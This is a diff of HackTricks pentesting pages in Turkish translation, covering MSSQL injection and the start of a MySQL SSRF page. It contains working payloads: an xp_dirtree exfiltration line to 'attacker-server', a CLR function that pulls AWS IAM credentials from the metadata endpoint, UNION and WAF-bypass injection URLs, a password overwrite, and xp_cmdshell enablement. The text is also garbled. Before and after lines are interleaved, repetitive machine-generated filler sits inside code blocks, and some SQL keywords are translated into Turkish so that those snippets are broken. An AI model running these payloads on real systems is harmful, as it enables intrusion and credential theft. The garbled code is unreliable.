@ -97,32 +98,34 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
`xp_dirtree` gibi depolanan prosedürler, Microsoft tarafından resmi olarak belgelenmemiş olsalar da, MSSQL içinde ağ işlemlerindeki kullanışlılıkları nedeniyle başkaları tarafından çevrimiçi olarak açıklanmıştır. Bu prosedürler, çeşitli [örneklerde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) ve [gönderilerde](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sterildiği gibi, Out of Band Veri sızdırma işlemlerinde sıklıkla kullanılır.
Microsoft tarafından resmi olarak belgelenmemiş olmasına rağmen, `xp_dirtree` gibi saklı yordamlar, MSSQL içindeki ağ işlemlerindeki faydaları nedeniyle çevrimiçi olarak başkaları tarafından tanımlanmıştır. Bu yordamlar genellikle, çeşitli [örneklerde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) ve [paylaşımlarda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sergilendiği gibi, Band Dışı Veri sızdırma işlemlerinde kullanılır.
Örneğin, `xp_dirtree` depolanan prosedürü, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP bağlantı noktası 445'e izin verir. Bağlantı noktası numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL betiğinde gösterilmiştir:
Örneğin, `xp_dirtree` saklı yordamı, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP port 445 ile sınırlıdır. Port numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL betiğinde gösterilmektedir:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Bu yöntemin, varsayılan ayarlarla çalışan `Windows Server 2016 Datacenter` üzerinde çalışan `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` gibi tüm sistem yapılandırmalarında çalışmayabileceği önemlidir.
Bu yöntemin, varsayılan ayarlarla çalışan `Windows Server 2016 Datacenter` üzerindeki `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` gibi tüm sistem yapılandırmalarında çalışmayabileceği dikkate değerdir.
Ayrıca, `master..xp_fileexist` ve `xp_subdirs` gibi alternatif depolanan prosedürler de benzer sonuçlara ulaşabilir. `xp_fileexist` hakkında daha fazla bilgi için bu [TechNet makalesine](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) bakabilirsiniz.
Ayrıca, benzer sonuçlar elde edebilecek `master..xp_fileexist` ve `xp_subdirs` gibi alternatif saklı prosedürler de bulunmaktadır. `xp_fileexist` hakkında daha fazla bilgiye bu [TechNet makalesinden](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ulaşabilirsiniz.
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Ayrıca **`xp_cmdshell`** kullanarak bir **SSRF** tetikleyen bir şeyi **yürütmek** için de kullanabilirsiniz. Daha fazla bilgi için sayfadaki ilgili bölümü **okuyun**:
Açıkça, bir **SSRF** tetikleyen bir şeyi **çalıştırmak** için **`xp_cmdshell`** de kullanabilirsiniz. Daha fazla bilgi için sayfadaki **ilgili bölümü okuyun**:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL Kullanıcı Tanımlı Fonksiyon - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL Kullanıcı Tanımlı Fonksiyonu - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Özel işlevleri yürütmek için MSSQL içinde yüklenecek olan bir DLL'ye derlenen herhangi bir .NET dilinde yazılmış kod olan CLR UDF (Common Language Runtime User Defined Function) oluşturmak, genellikle `sa` olarak veya Yönetici rolüyle veritabanı bağlantısı yapıldığında mümkün olur.
Özel işlevleri çalıştırmak için MSSQL içinde yüklenmek üzere herhangi bir .NET dilinde yazılmış ve DLL'ye derlenmiş bir CLR UDF (Common Language Runtime Kullanıcı Tanımlı Fonksiyonu) oluşturmak, `dbo` erişimi gerektiren bir süreçtir. Bu, genellikle veritabanı bağlantısının `sa` olarak veya bir Yönetici rolü ile yapılması durumunda mümkündür.
Bu işlevselliğin çekirdeği, MSSQL içindeki HTTP GET isteklerini yürütmek ve içeriği almak için `WebClient` sınıfını kullanan `http.cs` dosyasında özetlenmiştir. Bu işlevselliğin çekirdeği aşağıdaki gibi gösterilir:
Binary'nin MSSQL'e CLR derlemesi olarak yüklenmesini kolaylaştırmak için [bu Github deposunda](https://github.com/infiniteloopltd/SQLHttp) bir Visual Studio projesi ve kurulum talimatları sağlanmıştır; böylece MSSQL içinden HTTP GET isteklerinin çalıştırılması sağlanmaktadır.
Bu işlevselliğin temeli, bir GET isteği gerçekleştirmek ve içeriği almak için `WebClient` sınıfını kullanan `http.cs` dosyasında kapsüllenmiştir; aşağıda gösterildiği gibi:
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -138,50 +141,31 @@ return new SqlString(html);
}
}
```
`CREATE ASSEMBLY` SQL komutunu çalıştırmadan önce, sunucunun güvenilir derlemeler listesine ( `select * from sys.trusted_assemblies;` ile görüntülenebilir) derlemenin SHA512 karma değerini eklemek için aşağıdaki SQL parçacığını çalıştırmak önerilir:
`CREATE ASSEMBLY` SQL komutunu çalıştırmadan önce, derlemenin SHA512 hash'ini sunucunun güvenilir derlemeler listesine eklemek için aşağıdaki SQL kodunu çalıştırmanız önerilir (görüntülemek için `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Başarıyla derleme eklenip fonksiyon oluşturulduktan sonra, aşağıdaki SQL kodu HTTP isteklerini gerçekleştirmek için kullanılabilir:
Başarıyla assembly ekledikten ve fonksiyonu oluşturduktan sonra, HTTP istekleri gerçekleştirmek için aşağıdaki SQL kodu kullanılabilir:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Hızlı Sömürü: Bir Sorguda Tüm Tablo İçeriğini Almak**
### **Hızlı Sömürü: Tek Sorguda Tüm Tablo İçeriklerini Alma**
[İşte buradan alınan bir hile](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
[Buradan hile](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
Bir tablonun tam içeriğini tek bir sorguda çıkarmak için özlü bir yöntem, `FOR JSON` ifadesini kullanmaktır. Bu yaklaşım, "raw" gibi belirli bir mod gerektiren `FOR XML` ifadesinden daha özlüdür. `FOR JSON` ifadesi, kısalığı nedeniyle tercih edilir.
Tek bir sorguda bir tablonun tam içeriğini çıkarmak için kullanılan özlü bir yöntem, `FOR JSON` ifadesini kullanmaktır. Bu yaklaşım, "ham" gibi belirli bir mod gerektiren `FOR XML` ifadesine göre daha kısadır. Kısalığı nedeniyle `FOR JSON` ifadesi tercih edilmektedir.
İşte mevcut veritabanından şema, tablolar ve sütunları nasıl alacağınız:
İşte mevcut veritabanından şemayı, tabloları ve sütunları nasıl alacağınız:
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
## MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırıları hakkında bilgi bulacaksınız. SQL enjeksiyonu, bir web uygulamasının güvenlik açıklarını kullanarak veritabanına kötü niyetli SQL kodu enjekte etme işlemidir. Bu saldırı türü, kullanıcı girişlerinin doğru bir şekilde filtrelenmediği veya doğru bir şekilde işlenmediği durumlarda gerçekleşir.
### MSSQL Enjeksiyonu Türleri
MSSQL enjeksiyonu, çeşitli yöntemlerle gerçekleştirilebilir. İşte en yaygın kullanılan MSSQL enjeksiyon türleri:
- **Union-Based Enjeksiyon**: Bu yöntemde, UNION operatörü kullanılarak veritabanından veri çekilir.
- **Boolean-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun sonucunu doğru veya yanlış ifadelerle kontrol ederek veri çekilir.
- **Time-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun çalışma süresini kontrol ederek veri çekilir.
- **Error-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunda hata oluşturularak veri çekilir.
### MSSQL Enjeksiyonu Örneği
Aşağıdaki örnek, MSSQL enjeksiyonunun nasıl gerçekleştirileceğini göstermektedir:
```plaintext
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
Bu URL'de, `id` parametresine eklenen `'` karakteri ile SQL enjeksiyonu gerçekleştirilmektedir. SQL sorgusunda `UNION` veya `SELECT` gibi operatörler kullanılarak veritabanından veri çekilmektedir.
```
### Retrieving the Current Query
@ -191,37 +175,17 @@ Bu URL'de, `id` parametresine eklenen `'` karakteri ile SQL enjeksiyonu gerçekl
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
## MSSQL Injection
Bu bölümde, MSSQL veritabanlarında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir uygulamanın veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın veritabanına yetkisiz erişim elde etmesine olanak tanır.
### Union Saldırısı
Union saldırısı, SQL enjeksiyonunun en yaygın kullanılan yöntemlerinden biridir. Bu saldırıda, UNION operatörü kullanılarak iki veya daha fazla sorgunun sonuçları birleştirilir. Bu sayede saldırgan, hedef uygulamanın veritabanından istediği bilgileri çekebilir.
Aşağıdaki örnek, UNION saldırısının bir örneğini göstermektedir:
```
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
Bu saldırıda, `id` parametresine `-1 union select null,(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),null,null` değeri verilmiştir. Bu değer, UNION operatörü kullanılarak birincil sorgunun sonucuna ek olarak `sys.dm_exec_requests` ve `sys.dm_exec_sql_text` tablolarından bilgi çekmektedir.
Bu saldırı, hedef uygulamanın veritabanında bulunan verileri çalmak veya manipüle etmek için kullanılabilir. Saldırgan, UNION saldırısını kullanarak veritabanı yapısını keşfedebilir, kullanıcı kimlik bilgilerini ele geçirebilir veya hassas verileri sızdırabilir.
Bu nedenle, uygulama geliştiricilerinin SQL enjeksiyonu saldırılarına karşı koruma önlemleri alması önemlidir. Bu önlemler arasında parametre bağlama, giriş doğrulama ve filtreleme gibi güvenlik kontrolleri bulunur.
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
Bu sorgu, 'SERVER' izin türüne sahip olan 'VIEW SERVER STATE' iznine sahip kullanıcıların tüm izinlerini döndürür.
```
## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
@ -229,208 +193,78 @@ Bu sorgu, 'SERVER' izin türüne sahip olan 'VIEW SERVER STATE' iznine sahip kul
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
# MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin verir.
## MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- **Union Saldırıları**: Birleştirme (union) operatörü kullanılarak birden fazla sorgunun sonuçları birleştirilir. Bu, saldırganın veritabanından istediği verileri almasını sağlar.
- **Boolean Saldırıları**: Saldırgan, mantıksal ifadeleri kullanarak doğru veya yanlış sonuçlar elde eder. Bu, veritabanındaki bilgilerin doğruluğunu doğrulamak için kullanılır.
- **Time-Based Saldırılar**: Saldırgan, zaman gecikmelerini kullanarak veritabanı sorgularının sonuçlarını kontrol eder. Bu, saldırganın veritabanından bilgi çekmesini sağlar.
## Union Saldırıları
Union saldırıları, birleştirme (union) operatörünün kullanıldığı SQL enjeksiyonu saldırılarıdır. Bu saldırılar, birleştirme operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini hedefler.
Aşağıdaki örnek URL'de union saldırısı gerçekleştirilmektedir:
```
```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Bu URL'de, `id` parametresine `1%C2%85union%C2%85select%C2%A0null,@@version,null--` değeri verilmiştir. Bu değer, union saldırısını gerçekleştirmek için kullanılan SQL kodunu içerir.
Union saldırısı, `union` operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini sağlar. Bu örnekte, `null` değeri kullanılarak ilk sorgunun sonucu atlanırken, `@@version` değeri kullanılarak MSSQL veritabanı sürümü elde edilmektedir.
Saldırgan, union saldırısı kullanarak veritabanından istediği verilere erişebilir. Bu nedenle, web uygulamalarının giriş alanları ve parametreleri dikkatlice kontrol edilmeli ve gerekli güvenlik önlemleri alınmalıdır.
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
## MSSQL Enjeksiyonu
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına zararlı SQL kodu enjekte ederek saldırganın istediği işlemleri gerçekleştirmesine olanak tanır.
### MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, web uygulamasının giriş alanlarına veya parametrelerine zararlı SQL kodu enjekte ederek gerçekleştirilir. Bu kod, veritabanı sorgularının normal işleyişini bozarak saldırganın istediği verilere erişmesini veya değiştirmesini sağlar.
MSSQL enjeksiyonu saldırılarında, saldırganın hedeflediği SQL kodu, web uygulamasının veritabanı sorgularına eklenir. Bu kod, veritabanı tarafından doğrudan yorumlanır ve sonuçlar web uygulamasına geri döner. Saldırgan, bu yolla veritabanı üzerinde çeşitli işlemler gerçekleştirebilir.
### MSSQL Enjeksiyonu Örnekleri
Aşağıda, MSSQL enjeksiyonu için bazı örnekler verilmiştir:
```plaintext
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
Yukarıdaki örneklerde, `id` parametresine zararlı SQL kodu enjekte edilmiştir. `union select` ifadesi kullanılarak `@@version` fonksiyonu çağrılmış ve sonuçlar `null` olarak döndürülmüştür.
Bu tür bir enjeksiyon saldırısı, saldırganın MSSQL veritabanı hakkında bilgi edinmesini sağlar. `@@version` fonksiyonu, veritabanı sürümünü döndürür. Saldırgan, bu bilgiyi kullanarak hedef sistemi daha fazla zafiyet için analiz edebilir.
### Önleme
MSSQL enjeksiyonu saldırılarından korunmak için aşağıdaki önlemleri alabilirsiniz:
- Giriş alanlarını doğru bir şekilde doğrulayın ve filtreleyin.
- Parametreleri güvenli bir şekilde işleyin ve sorguları hazırlarken parametre bağlama kullanın.
- Güvenlik duvarı ve saldırı tespit sistemleri kullanarak saldırıları engelleyin.
- Veritabanı kullanıcılarının minimum ayrıcalıklara sahip olduğundan emin olun.
- Güncel ve güvenli bir MSSQL sürümü kullanın.
Bu önlemler, MSSQL enjeksiyonu saldırılarını önlemeye yardımcı olabilir. Ancak, her zaman güncel güvenlik uygulamalarını takip etmek ve web uygulamalarını düzenli olarak test etmek önemlidir.
```
A period instead of a whitespace between FROM and a column name:
```
# MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.
## MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği bilgilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- **Union Saldırısı**: Birleştirme saldırısı, UNION operatörünü kullanarak bir SQL sorgusuna ek veri eklemeyi içerir. Bu, saldırganın veritabanından istediği bilgileri çekmesine olanak tanır.
- **Boolean Saldırısı**: Boolean saldırısı, saldırganın SQL sorgusunu doğru veya yanlış sonuçlarla sınırlayarak bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin doğruluğunu test etmek için kullanılabilir.
- **Time-Based Saldırı**: Time-based saldırı, saldırganın SQL sorgusunun yanıt süresini manipüle ederek bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin varlığını veya doğruluğunu test etmek için kullanılabilir.
## MSSQL Enjeksiyonu Örneği
Aşağıdaki örnek, bir web uygulamasında MSSQL enjeksiyonu saldırısı gerçekleştirmek için kullanılan bir URL'yi göstermektedir:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
Bu URL, `id` parametresine `1 union select null,@@version,null from.users--` değerini ekleyerek birleştirme saldırısı gerçekleştirir. Bu saldırı, `@@version` fonksiyonunu kullanarak MSSQL veritabanı sürümünü elde etmeyi amaçlar.
Saldırgan, bu saldırıyı kullanarak hedef web uygulamasının veritabanı sürümünü öğrenebilir ve bu bilgiyi daha fazla saldırı veya istismar için kullanabilir.
Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Gerçek saldırılar daha karmaşık olabilir ve farklı teknikler kullanabilir.
```
\N separator between SELECT and a throwaway column:
```
# MSSQL Injection
Bu bölümde, MSSQL veritabanında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.
## MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- **Union Saldırısı**: Birleştirme saldırısı, bir SQL sorgusuna eklenen ek bir SELECT ifadesi aracılığıyla verilerin çalınmasını sağlar. Bu, saldırganın veritabanından istediği bilgileri almasına olanak tanır.
- **Boolean Saldırısı**: Boolean saldırısı, saldırganın doğru veya yanlış yanıtlar alarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.
- **Time-Based Saldırı**: Zaman tabanlı saldırı, saldırganın SQL sorgusunun yanıt süresini kullanarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.
## MSSQL Enjeksiyonu Örneği
Aşağıdaki URL, MSSQL enjeksiyonu saldırısının bir örneğini göstermektedir:
```
```markdown
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
Bu URL'de, `id` parametresine `0xunion+select\Nnull,@@version,null+from+users--` değeri verilmiştir. Bu, birleştirme saldırısı kullanarak veritabanından kullanıcı tablosunun sürüm bilgisini çalmayı amaçlamaktadır.
Saldırgan, `union select` ifadesini kullanarak mevcut sorguya ek bir SELECT ifadesi ekler. `@@version` ifadesi, MSSQL veritabanının sürüm bilgisini döndürür. `null` ifadesi ise diğer sütunları doldurmak için kullanılır.
Sonuç olarak, saldırgan, `@@version` değerini kullanarak MSSQL veritabanının sürüm bilgisini elde eder.
Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Saldırganlar, bu teknikleri kullanarak daha karmaşık saldırılar gerçekleştirebilir ve veritabanı üzerinde daha fazla kontrol elde edebilir.
```
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql
SELECT 'a' SELECT 'b'
```
Bu SQL sorgusu, 'a' ve 'b' değerlerini döndürmek için kullanılır.
```
So for example, multiple queries such as:
```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
```sql
kullan [tempdb]
tablo oluştur [test] ([id] int)
ekle [test] değerler(1)
seç [id] [test] içinden
tablo sil [test]
```
```
Can be reduced to:
```sql
```sql
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```sql
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Sonuna gereksiz bir exec() ekleyerek ve WAF'ın bunun geçerli bir sorgu olmadığını düşünmesini sağlayarak
# Gereksiz bir exec() ekleyerek WAF'ın bunun geçerli bir sorgu olmadığını düşünmesini sağlamak
admina'union select 1,'admin','testtest123'exec('select 1')--
## Bu şu şekilde olacak:
## Bu şöyle olacak:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Garip bir şekilde oluşturulmuş sorgular kullanarak
# Garip bir şekilde oluşturulmuş sorgular kullanmak
admin'exec('update[users]set[password]=''a''')--
## Bu şu şekilde olacak:
## Bu şöyle olacak:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Veya xp_cmdshell'i etkinleştirme
# Ya da xp_cmdshell'i etkinleştirmek
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Bu şu şekilde olacak:
## Bu şöyle olacak
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## References
@ -438,16 +272,17 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# MySQL Dosya izni SSRF/RCE
# MySQL File priv to SSRF/RCE
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}
**Bu, [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki MySQL/MariaDB/Percona tekniklerinin bir özetidir**.
**Bu, [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresinden MySQL/MariaDB/Percona tekniklerinin bir özetidir.**
### SQL Fonksiyonları Aracılığıyla Sunucu Tarafından İstek Sahteciliği (SSRF)
### SQL Fonksiyonları ile Sunucu Tarafı İstek Sahteciliği (SSRF)
SQL Dışında Veri Sızdırma araştırmalarında, ağ isteklerini başlatmak için genellikle `LOAD_FILE()` fonksiyonu kullanılır. Ancak bu fonksiyon, işletim sistemi ve veritabanının başlangıç yapılandırmaları tarafından sınırlanır.
SQL Out of Band veri sızdırma keşfinde, `LOAD_FILE()` fonksiyonu genellikle ağ isteklerini başlatmak için kullanılır. Ancak, bu fonksiyon çalıştığı işletim sistemi ve veritabanının başlangıç yapılandırmaları ile sınırlıdır.
`secure_file_priv` global değişkeni, ayarlanmamışsa, `/var/lib/mysql-files/` olarak varsayılan değere sahiptir ve dosya erişimini bu dizine sınırlar, boş bir dize (`""`) olarak ayarlanmadıkça. Bu ayarlamalar, veritabanının yapılandırma dosyasında veya başlangıç parametrelerinde değişiklik yapmayı gerektirir.
